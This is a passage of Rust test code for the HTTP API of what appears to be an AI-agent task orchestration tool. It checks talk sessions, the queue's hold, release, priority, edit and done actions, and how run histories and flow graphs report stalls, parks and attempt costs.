8000 async fn saying_with_an_unknown_attachment_id_is_a_4xx_and_records_nothing() {
8001 let f = Fixture::start().await;
8002 let id = seed_talk(&f, "20260905-000000-a7b8", "open");
8003
8004 let res = f
8005 .post(
8006 &format!("/api/talks/{id}/say"),
8007 Some(&format!(
8008 r#"{{"text":"hi","attachments":["{}"]}}"#,
8009 "a".repeat(32)
8010 )),
8011 )
8012 .await;
8013 assert!((400..500).contains(&res.status), "{}", res.body);
8014 assert!(res.body.contains("unknown attachment"), "{}", res.body);
8015
8016 let on_disk = f.talks().get(&id).expect("get");
8017 assert!(
8018 on_disk.turns.is_empty(),
8019 "a rejected attachment id must not partially record the turn: {:?}",
8020 on_disk.turns
8021 );
8022 }
8023
8024 #[tokio::test]
8025 async fn talk_close_makes_the_talk_refuse_further_turns() {
8026 let f = Fixture::start().await;
8027 let id = seed_talk(&f, "20260904-014455-cd34", "open");
8028
8029 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8030 assert_eq!(closed.status, 200, "{}", closed.body);
8031 assert_eq!(closed.json()["status"], "closed");
8032
8033 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
8035 assert_eq!(closed_again.status, 200);
8036 assert_eq!(closed_again.json()["status"], "closed");
8037
8038 let said = f
8039 .post(
8040 &format!("/api/talks/{id}/say"),
8041 Some(r#"{"text":"too late"}"#),
8042 )
8043 .await;
8044 assert_eq!(said.status, 409, "{}", said.body);
8045 }
8046
8047 #[tokio::test]
8048 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
8049 let (_tmp, _repo, f) = talk_fixture().await;
8050 let id = f.post("/api/talks", None).await.json()["id"]
8051 .as_str()
8052 .expect("id")
8053 .to_owned();
8054 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8055 assert_eq!(closed.status, 200, "{}", closed.body);
8056
8057 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
8058 assert_eq!(reopened.status, 200, "{}", reopened.body);
8059 assert_eq!(reopened.json()["status"], "open");
8060
8061 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
8063 assert_eq!(reopened_again.status, 200);
8064 assert_eq!(reopened_again.json()["status"], "open");
8065
8066 let said = f
8067 .post(
8068 &format!("/api/talks/{id}/say"),
8069 Some(r#"{"text":"still there?"}"#),
8070 )
8071 .await;
8072 assert_eq!(
8073 said.status, 202,
8074 "a reopened talk accepts turns again: {}",
8075 said.body
8076 );
8077 }
8078
8079 #[tokio::test]
8080 async fn talk_reopen_on_an_unknown_id_is_404() {
8081 let f = Fixture::start().await;
8082 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
8083 assert_eq!(res.status, 404, "{}", res.body);
8084 }
8085
8086 #[tokio::test]
8087 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
8088 let f = Fixture::start().await;
8089 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
8090
8091 let deleted = f.delete(&format!("/api/talks/{id}")).await;
8092 assert_eq!(deleted.status, 204, "{}", deleted.body);
8093
8094 let after = f.get(&format!("/api/talks/{id}")).await;
8095 assert_eq!(after.status, 404, "{}", after.body);
8096
8097 let listed = f.get("/api/talks").await.json();
8098 assert!(
8099 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
8100 "a deleted talk must not linger in the list: {listed}"
8101 );
8102 }
8103
8104 #[tokio::test]
8105 async fn talk_delete_on_an_unknown_id_is_404() {
8106 let f = Fixture::start().await;
8107 let res = f.delete("/api/talks/nonexistent-id").await;
8108 assert_eq!(res.status, 404, "{}", res.body);
8109 }
8110
8111 #[tokio::test]
8115 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
8116 let f = Fixture::start().await;
8117 let (a, b, gone) = (
8118 "20260902-140501-aaaa",
8119 "20260902-140502-bbbb",
8120 "20260902-140503-cccc",
8121 );
8122 write_run(&f.runs(), a, RunStatus::Stalled);
8123 let mut review = RunState::new(
8124 PathBuf::from("/repo/magi"),
8125 "main".to_owned(),
8126 "0123456789abcdef".to_owned(),
8127 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
8128 .to_owned(),
8129 Config::default(),
8130 );
8131 review.id = b.to_owned();
8132 review.status = RunStatus::Merged;
8133 write_state(&f.runs(), &review);
8134
8135 let mut task = Task::new(
8136 "retry".to_owned(),
8137 "Do the thing".to_owned(),
8138 PathBuf::from("/repo/magi"),
8139 Source::Human,
8140 );
8141 task.start(a.to_owned());
8142 task.stall("quota");
8143 task.start(a.to_owned());
8144 task.start(b.to_owned());
8145 task.start(gone.to_owned());
8146 f.queue().put(&mut task).expect("file the task");
8147
8148 let res = f.get(&format!("/api/queue/{}", task.id)).await;
8149 assert_eq!(res.status, 200, "{}", res.body);
8150 let v = res.json();
8151 let h = v["history"].as_array().expect("history");
8152 assert_eq!(h.len(), 4, "{v}");
8153 assert_eq!(h[0]["kind"], "competition");
8154 assert_eq!(h[0]["status"], "stalled");
8155 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
8156 assert_eq!(h[1]["kind"], "resume", "{v}");
8157 assert!(
8158 h[0]["outcome"]
8159 .as_str()
8160 .unwrap()
8161 .contains("unknown. Pass #2"),
8162 "an earlier pass of a resumed run must not claim the final outcome: {v}"
8163 );
8164 assert!(
8165 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
8166 "{v}"
8167 );
8168 assert!(
8169 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
8170 "an unrecorded cause must not be narrated as an operator park: {v}"
8171 );
8172 assert_eq!(h[2]["kind"], "review");
8173 assert!(
8174 h[2]["description"]
8175 .as_str()
8176 .unwrap()
8177 .contains("magi/aaaa/A")
8178 );
8179 assert_eq!(h[2]["status"], "merged");
8180 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
8181 assert_eq!(v["runs_unreadable"], 1);
8182 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
8183 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
8184 assert_eq!(nodes[4]["note"], "unreadable");
8185 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
8186 assert_eq!(v["instruction"], "Do the thing");
8187 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
8188
8189 let run = f.get(&format!("/api/runs/{a}")).await.json();
8191 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
8192
8193 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
8194 }
8195
8196 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
8197 let mut s = RunState::new(
8198 PathBuf::from("/repo/magi"),
8199 "main".to_owned(),
8200 "0123456789abcdef".to_owned(),
8201 "Do it".to_owned(),
8202 Config::default(),
8203 );
8204 s.status = status;
8205 edit(&mut s);
8206 s
8207 }
8208
8209 fn flow_task(runs: &[&str]) -> Task {
8210 let mut t = Task::new(
8211 "t".to_owned(),
8212 "Do it".to_owned(),
8213 PathBuf::from("/repo/magi"),
8214 Source::Human,
8215 );
8216 for r in runs {
8217 t.start((*r).to_owned());
8218 }
8219 t
8220 }
8221
8222 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
8223 let h = task_history(task, |id| {
8224 states
8225 .iter()
8226 .find(|(i, _)| *i == id)
8227 .and_then(|(_, s)| s.clone())
8228 });
8229 task_flow(task, &h, 5)
8230 }
8231
8232 const FA: &str = "20260902-140501-aaaa";
8233 const FB: &str = "20260902-140502-bbbb";
8234
8235 #[test]
8236 fn flow_follows_blocked_retry_merged_to_done() {
8237 let mut t = flow_task(&[FA, FB]);
8238 t.status = TaskStatus::Done;
8239 let f = flow_for(
8240 &t,
8241 &[
8242 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
8243 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
8244 ],
8245 );
8246 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
8247 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
8248 assert_eq!(f.edges.len(), 3);
8249 assert_eq!(f.edges[0].label, "claimed");
8250 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
8251 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
8252 assert_eq!(f.edges[2].label, "merged \u{2192} done");
8253 assert_eq!(
8254 f.nodes[2].href.as_deref(),
8255 Some("#/runs/20260902-140502-bbbb")
8256 );
8257 assert!(f.nodes[2].decided);
8258 }
8259
8260 #[test]
8261 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
8262 let quota = || {
8263 flow_run(RunStatus::Stalled, |s| {
8264 s.quota.push(crate::run::QuotaLoss {
8265 seat: "judge-1".to_owned(),
8266 node: "judge".to_owned(),
8267 at: Timestamp::now(),
8268 reset: None,
8269 })
8270 })
8271 };
8272 let mut t = flow_task(&[FA, FA]);
8273 t.status = TaskStatus::Queued;
8274 let f = flow_for(&t, &[(FA, Some(quota()))]);
8275 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
8276 assert_eq!(f.nodes[1].note, Some("interrupted"));
8277 assert_eq!(
8278 f.nodes[1].status, None,
8279 "no outcome copied onto an earlier pass"
8280 );
8281 assert_eq!(
8282 f.edges[1].attempt,
8283 AttemptCost::Unknown,
8284 "a resume does not prove the earlier pass was refunded"
8285 );
8286 assert!(f.edges[1].label.contains("resume the same run"));
8287 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
8288 assert_eq!(
8289 f.edges[2].label,
8290 "stalled after a resume, refund unknown \u{2192} queued"
8291 );
8292 assert!(!f.nodes[2].decided, "a stall is not a decision");
8293 assert_eq!(f.nodes[2].note, Some("no verdict"));
8294 }
8295
8296 #[test]
8297 fn flow_single_pass_quota_stall_is_refunded() {
8298 let t = flow_task(&[FA]);
8299 let f = flow_for(
8300 &t,
8301 &[(
8302 FA,
8303 Some(flow_run(RunStatus::Stalled, |s| {
8304 s.quota.push(crate::run::QuotaLoss {
8305 seat: "judge-1".to_owned(),
8306 node: "judge".to_owned(),
8307 at: Timestamp::now(),
8308 reset: None,
8309 })
8310 })),
8311 )],
8312 );
8313 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
8314 }
8315
8316 #[test]
8317 fn flow_parked_refunds_and_stall_without_quota_spends() {
8318 let mut t = flow_task(&[FA]);
8319 t.status = TaskStatus::Queued;
8320 let f = flow_for(
8321 &t,
8322 &[(
8323 FA,
8324 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
8325 )],
8326 );
8327 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
8328 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
8329 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
8330 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
8331 assert!(!f.nodes[1].decided);
8332 }
8333
8334 #[test]
8335 fn flow_keeps_an_unreadable_run_as_its_own_node() {
8336 let t = flow_task(&[FA, FB]);
8337 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
8338 assert_eq!(f.nodes[1].note, Some("unreadable"));
8339 assert!(!f.nodes[1].readable);
8340 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
8341 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
8342 }
8343
8344 #[test]
8345 fn flow_names_the_branch_of_a_review_only_run() {
8346 let t = flow_task(&[FA]);
8347 let f = flow_for(
8348 &t,
8349 &[(
8350 FA,
8351 Some(flow_run(RunStatus::Merged, |s| {
8352 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
8353 })),
8354 )],
8355 );
8356 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
8357 assert_eq!(
8358 f.nodes[1].detail.as_deref(),
8359 Some("review-only run of branch magi/x/A")
8360 );
8361 }
8362
8363 #[test]
8364 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
8365 let mut t = flow_task(&[FA]);
8366 t.status = TaskStatus::Held;
8367 let pr = crate::run::PrRecord {
8368 url: "https://example.test/pr/1".to_owned(),
8369 number: 1,
8370 state: "open".to_owned(),
8371 checks: "green".to_owned(),
8372 round: 0,
8373 rounds: 3,
8374 red_at_merge: Vec::new(),
8375 };
8376 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
8377 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
8378 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
8379 t.status = TaskStatus::Done;
8380 let f = flow_for(&t, &[(FA, Some(blocked))]);
8381 assert_eq!(f.edges[1].label, "closed by hand: task is done");
8382 }
8383
8384 #[test]
8385 fn flow_with_no_runs_goes_from_queued_to_queued() {
8386 let t = flow_task(&[]);
8387 let f = flow_for(&t, &[]);
8388 assert_eq!(f.nodes.len(), 2);
8389 assert_eq!(f.edges.len(), 1);
8390 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
8391 assert_eq!(f.edges[0].attempt, AttemptCost::None);
8392 }
8393
8394 #[test]
8397 fn a_parked_non_terminal_run_is_explained_as_parked() {
8398 let mut s = RunState::new(
8399 PathBuf::from("/repo/magi"),
8400 "main".to_owned(),
8401 "0123456789abcdef".to_owned(),
8402 "Do it".to_owned(),
8403 Config::default(),
8404 );
8405 s.status = RunStatus::Implementing;
8406 s.parked = true;
8407 let task = Task::new(
8408 "t".to_owned(),
8409 "Do it".to_owned(),
8410 PathBuf::from("/repo/magi"),
8411 Source::Human,
8412 );
8413 let v = task_run_view(
8414 "20260902-140501-aaaa",
8415 Some(&s),
8416 RunSlot {
8417 n: 1,
8418 resumed: false,
8419 resumed_later: None,
8420 prior: None,
8421 last: true,
8422 },
8423 &task,
8424 );
8425 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
8426 }
8427
8428 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
8429 let mut s = flow_run(RunStatus::Implementing, edit);
8430 s.parked = false;
8431 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
8432 task_run_view(
8433 "20260902-140501-aaaa",
8434 Some(&s),
8435 RunSlot {
8436 n: 1,
8437 resumed: false,
8438 resumed_later: Some(2),
8439 prior: None,
8440 last: false,
8441 },
8442 &task,
8443 )
8444 }
8445
8446 #[test]
8447 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
8448 let v = earlier_pass_view(|_| {});
8449 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
8450 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
8451 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
8452 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
8453 assert_eq!(v.exit, RunExit::Interrupted);
8454 assert_eq!(v.attempt, AttemptCost::Unknown);
8455 }
8456
8457 #[test]
8458 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
8459 let v = earlier_pass_view(|s| {
8460 s.quota.push(crate::run::QuotaLoss {
8461 seat: "judge-1".to_owned(),
8462 node: "judge".to_owned(),
8463 at: Timestamp::now(),
8464 reset: None,
8465 });
8466 });
8467 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
8468 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
8469 assert_eq!(v.attempt, AttemptCost::Unknown);
8470 }
8471
8472 #[test]
8473 fn the_current_pass_states_its_recorded_cause_and_cost() {
8474 let slot = || RunSlot {
8475 n: 1,
8476 resumed: false,
8477 resumed_later: None,
8478 prior: None,
8479 last: true,
8480 };
8481 let task = flow_task(&["20260902-140501-aaaa"]);
8482 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
8483 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
8484 assert_eq!(
8485 (v.exit, v.attempt),
8486 (RunExit::Parked, AttemptCost::Refunded)
8487 );
8488 let spent = flow_run(RunStatus::Blocked, |_| {});
8489 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
8490 assert_eq!(v.attempt, AttemptCost::Spent);
8491 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
8492 }
8493
8494 #[tokio::test]
8495 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
8496 let f = Fixture::start().await;
8497 let queue = f.queue();
8498 let mut task = Task::new(
8499 "spent".to_owned(),
8500 "Try again".to_owned(),
8501 PathBuf::from("/repo/magi"),
8502 Source::Human,
8503 );
8504 task.start("20260902-140502-bbbb".to_owned());
8505 task.fail("agent gave up", 9);
8506 queue.put(&mut task).expect("file the task");
8507
8508 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
8509 assert_eq!(held.status, 200);
8510 assert_eq!(held.json()["status_str"], "held");
8511
8512 let released = f
8513 .post(&format!("/api/queue/{}/release", task.id), None)
8514 .await;
8515 assert_eq!(released.status, 200);
8516 assert_eq!(released.json()["status_str"], "queued");
8517 assert_eq!(
8518 released.json()["attempts"],
8519 0,
8520 "release is a real second chance, not an instant re-hold"
8521 );
8522 assert_eq!(
8523 queue.get(&task.id).expect("reload").status,
8524 TaskStatus::Queued,
8525 "the change is on disk, not only in the reply"
8526 );
8527 assert!(
8528 !f.home
8529 .path()
8530 .join("queue")
8531 .join(format!("{}.lock", task.id))
8532 .exists(),
8533 "the claim the mutation took is released again"
8534 );
8535 }
8536
8537 #[tokio::test]
8538 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
8539 let f = Fixture::start().await;
8540 let queue = f.queue();
8541 let mut task = Task::new(
8542 "busy".to_owned(),
8543 "Running right now".to_owned(),
8544 PathBuf::from("/repo/magi"),
8545 Source::Human,
8546 );
8547 queue.put(&mut task).expect("file the task");
8548 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
8549
8550 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
8551
8552 assert_eq!(res.status, 409);
8553 assert_eq!(
8554 queue.get(&task.id).expect("reload").status,
8555 TaskStatus::Queued,
8556 "the refused hold changed nothing"
8557 );
8558 }
8559
8560 #[tokio::test]
8561 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
8562 let f = Fixture::start().await;
8563 let queue = f.queue();
8564 let mut task = Task::new(
8565 "waiting on the migration".to_owned(),
8566 "Do the thing".to_owned(),
8567 PathBuf::from("/repo/magi"),
8568 Source::Human,
8569 );
8570 queue.put(&mut task).expect("file the task");
8571
8572 let held = f
8573 .post(
8574 &format!("/api/queue/{}/hold", task.id),
8575 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
8576 )
8577 .await;
8578 assert_eq!(held.status, 200, "{}", held.body);
8579 assert_eq!(held.json()["status_str"], "held");
8580 assert_eq!(
8581 held.json()["hold_reason"],
8582 "waiting for 20260101-000000-aaaa to land"
8583 );
8584
8585 let listed = f.get("/api/queue").await.json();
8586 assert_eq!(
8587 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
8588 "the card reads the reason off the same list route"
8589 );
8590
8591 let mut plain = Task::new(
8594 "no reason given".to_owned(),
8595 "Do another thing".to_owned(),
8596 PathBuf::from("/repo/magi"),
8597 Source::Human,
8598 );
8599 queue.put(&mut plain).expect("file the task");
8600 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
8601 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
8602 assert!(held_plain.json()["hold_reason"].is_null());
8603
8604 let released = f
8605 .post(&format!("/api/queue/{}/release", task.id), None)
8606 .await;
8607 assert_eq!(released.status, 200);
8608 assert!(
8609 released.json()["hold_reason"].is_null(),
8610 "a release must clear the reason so the next hold does not inherit it"
8611 );
8612 }
8613
8614 #[tokio::test]
8615 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
8616 let f = Fixture::start().await;
8617 let queue = f.queue();
8618 let mut older = Task::new(
8619 "filed first".to_owned(),
8620 "x".to_owned(),
8621 PathBuf::from("/repo/magi"),
8622 Source::Human,
8623 );
8624 older.id = "20260101-000001-aaaa".to_owned();
8625 let mut newer = Task::new(
8626 "filed second".to_owned(),
8627 "x".to_owned(),
8628 PathBuf::from("/repo/magi"),
8629 Source::Human,
8630 );
8631 newer.id = "20260101-000002-bbbb".to_owned();
8632 queue.put(&mut older).expect("file older");
8633 queue.put(&mut newer).expect("file newer");
8634
8635 let before = f.get("/api/queue").await.json();
8638 assert_eq!(before[0]["id"], newer.id);
8639 assert_eq!(before[1]["id"], older.id);
8640
8641 let raised = f
8645 .post(
8646 &format!("/api/queue/{}/priority", older.id),
8647 Some(r#"{"priority":10}"#),
8648 )
8649 .await;
8650 assert_eq!(raised.status, 200, "{}", raised.body);
8651 assert_eq!(raised.json()["priority"], 10);
8652
8653 let after = f.get("/api/queue").await.json();
8654 let names: Vec<&str> = after
8655 .as_array()
8656 .unwrap()
8657 .iter()
8658 .map(|t| t["id"].as_str().unwrap())
8659 .collect();
8660 assert_eq!(names[0], older.id, "the raised task now sorts first");
8664 }
8665
8666 #[tokio::test]
8667 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
8668 let f = Fixture::start().await;
8669 let queue = f.queue();
8670 let mut task = Task::new(
8671 "in flight".to_owned(),
8672 "x".to_owned(),
8673 PathBuf::from("/repo/magi"),
8674 Source::Human,
8675 );
8676 task.start("20260902-140502-bbbb".to_owned());
8677 queue.put(&mut task).expect("file the task");
8678
8679 let res = f
8680 .post(
8681 &format!("/api/queue/{}/priority", task.id),
8682 Some(r#"{"priority":9}"#),
8683 )
8684 .await;
8685 assert_eq!(res.status, 400, "{}", res.body);
8686 assert!(
8687 res.json()["error"]
8688 .as_str()
8689 .is_some_and(|e| e.contains("running")),
8690 "{}",
8691 res.body
8692 );
8693 assert_eq!(
8694 queue.get(&task.id).expect("reload").priority,
8695 0,
8696 "the refused write must not partially apply"
8697 );
8698 }
8699
8700 #[tokio::test]
8701 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
8702 let f = Fixture::start().await;
8703 let queue = f.queue();
8704 let mut task = Task::new(
8705 "old title".to_owned(),
8706 "old instruction".to_owned(),
8707 PathBuf::from("/repo/magi"),
8708 Source::Agent {
8709 run: "20260101-000000-beef".to_owned(),
8710 node: "implement".to_owned(),
8711 },
8712 );
8713 task.runs.push("20260101-000000-beef".to_owned());
8714 queue.put(&mut task).expect("file the task");
8715 let created_at = task.created_at;
8716
8717 let edited = f
8718 .post(
8719 &format!("/api/queue/{}/edit", task.id),
8720 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
8721 )
8722 .await;
8723 assert_eq!(edited.status, 200, "{}", edited.body);
8724 let body = edited.json();
8725 assert_eq!(body["title"], "new title");
8726 assert_eq!(body["instruction"], "new instruction");
8727 assert_eq!(body["id"], task.id, "editing must not mint a new id");
8728 assert_eq!(body["created_at"], created_at.to_string());
8729 assert_eq!(
8730 body["source"]["kind"], "agent",
8731 "editing a task an agent filed must not turn it human: {body}"
8732 );
8733 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
8734
8735 let reloaded = queue.get(&task.id).expect("reload");
8736 assert_eq!(reloaded.title, "new title");
8737 assert_eq!(reloaded.instruction, "new instruction");
8738 }
8739
8740 #[tokio::test]
8741 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
8742 let f = Fixture::start().await;
8743 let queue = f.queue();
8744 let mut owner = Task::new(
8745 "owner".to_owned(),
8746 "review it".to_owned(),
8747 PathBuf::from("/repo/magi"),
8748 Source::Human,
8749 );
8750 owner.review_branch = Some("magi/ab12/A".to_owned());
8751 queue.put(&mut owner).expect("file the owner");
8752 let mut task = Task::new(
8753 "draft".to_owned(),
8754 "old".to_owned(),
8755 PathBuf::from("/repo/magi"),
8756 Source::Human,
8757 );
8758 queue.put(&mut task).expect("file the draft");
8759 let url = format!("/api/queue/{}/edit", task.id);
8760
8761 let refused = f
8762 .post(
8763 &url,
8764 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
8765 )
8766 .await;
8767 assert_eq!(refused.status, 409, "{}", refused.body);
8768 let msg = refused.json()["error"]
8769 .as_str()
8770 .unwrap_or_default()
8771 .to_owned();
8772 assert!(
8773 msg.contains("magi/ab12/A") && msg.contains("force"),
8774 "{msg}"
8775 );
8776 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
8777
8778 let forced = f
8779 .post(
8780 &url,
8781 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
8782 )
8783 .await;
8784 assert_eq!(forced.status, 200, "{}", forced.body);
8785 }
8786
8787 #[tokio::test]
8788 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
8789 let f = Fixture::start().await;
8790 let queue = f.queue();
8791 let mut task = Task::new(
8792 "in flight".to_owned(),
8793 "do not touch".to_owned(),
8794 PathBuf::from("/repo/magi"),
8795 Source::Human,
8796 );
8797 task.start("20260902-140502-bbbb".to_owned());
8798 queue.put(&mut task).expect("file the task");
8799
8800 let res = f
8801 .post(
8802 &format!("/api/queue/{}/edit", task.id),
8803 Some(r#"{"title":"x","instruction":"y"}"#),
8804 )
8805 .await;
8806 assert_eq!(res.status, 400, "{}", res.body);
8807 assert!(
8808 res.json()["error"]
8809 .as_str()
8810 .is_some_and(|e| e.contains("running")),
8811 "{}",
8812 res.body
8813 );
8814 assert_eq!(
8815 queue.get(&task.id).expect("reload").instruction,
8816 "do not touch",
8817 "the refused edit must not change the file"
8818 );
8819 }
8820
8821 #[tokio::test]
8822 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
8823 let f = Fixture::start().await;
8824 let queue = f.queue();
8825 let mut task = Task::new(
8826 "busy".to_owned(),
8827 "Running right now".to_owned(),
8828 PathBuf::from("/repo/magi"),
8829 Source::Human,
8830 );
8831 queue.put(&mut task).expect("file the task");
8832 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
8833
8834 let priority = f
8835 .post(
8836 &format!("/api/queue/{}/priority", task.id),
8837 Some(r#"{"priority":9}"#),
8838 )
8839 .await;
8840 assert_eq!(priority.status, 409, "{}", priority.body);
8841
8842 let edit = f
8843 .post(
8844 &format!("/api/queue/{}/edit", task.id),
8845 Some(r#"{"title":"x","instruction":"y"}"#),
8846 )
8847 .await;
8848 assert_eq!(edit.status, 409, "{}", edit.body);
8849 }
8850
8851 #[tokio::test]
8852 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
8853 let f = Fixture::start().await;
8854 let queue = f.queue();
8855 let mut task = Task::new(
8856 "shipped by hand".to_owned(),
8857 "merged outside the loop".to_owned(),
8858 PathBuf::from("/repo/magi"),
8859 Source::Agent {
8860 run: "20260101-000000-b455".to_owned(),
8861 node: "implement".to_owned(),
8862 },
8863 );
8864 task.runs.push("20260101-000000-b455".to_owned());
8865 task.runs.push("20260101-000000-9af4".to_owned());
8866 queue.put(&mut task).expect("file the task");
8867 let created_at = task.created_at;
8868
8869 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
8870 assert_eq!(done.status, 200, "{}", done.body);
8871 assert_eq!(done.json()["status_str"], "done");
8872
8873 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
8874 assert_eq!(
8875 reloaded.runs,
8876 ["20260101-000000-b455", "20260101-000000-9af4"]
8877 );
8878 assert_eq!(
8879 reloaded.source,
8880 Source::Agent {
8881 run: "20260101-000000-b455".to_owned(),
8882 node: "implement".to_owned(),
8883 }
8884 );
8885 assert_eq!(reloaded.created_at, created_at);
8886 }
8887
8888 #[tokio::test]
8889 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
8890 let f = Fixture::start().await;
8895 let queue = f.queue();
8896 let mut task = Task::new(
8897 "landed while held".to_owned(),
8898 "x".to_owned(),
8899 PathBuf::from("/repo/magi"),
8900 Source::Human,
8901 );
8902 task.hold_manual(Some("waiting on 3ed9".to_owned()));
8903 queue.put(&mut task).expect("file the held task");
8904
8905 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
8906 assert_eq!(done.status, 200, "{}", done.body);
8907 assert_eq!(done.json()["status_str"], "done");
8908 assert!(
8909 done.json()["hold_reason"].is_null(),
8910 "a done task cannot still be waiting on something: {}",
8911 done.body
8912 );
8913 }
8914
8915 #[tokio::test]
8916 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
8917 let f = Fixture::start().await;
8922 let queue = f.queue();
8923 let runs = f.runs();
8924 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
8925 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
8929
8930 let mut task = Task::new(
8931 "landed by hand".to_owned(),
8932 "x".to_owned(),
8933 PathBuf::from("/repo/magi"),
8934 Source::Human,
8935 );
8936 task.runs.push("20260101-000000-doa1".to_owned());
8937 task.runs.push("20260101-000000-doa2".to_owned());
8938 queue.put(&mut task).expect("file the task");
8939
8940 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
8941 assert_eq!(done.status, 200, "{}", done.body);
8942
8943 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
8944 .expect("run still on disk under this fixture's own home");
8945 assert_eq!(
8946 reloaded_run.status,
8947 RunStatus::Superseded,
8948 "closing the task by hand must relabel the earlier blocked attempt exactly \
8949 like the loop's own settle path does"
8950 );
8951 }
8952
8953 #[tokio::test]
8954 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
8955 let f = Fixture::start().await;
8960 let queue = f.queue();
8961 let runs = f.runs();
8962 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
8963 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
8964
8965 let mut task = Task::new(
8966 "closed with nothing actually landed".to_owned(),
8967 "x".to_owned(),
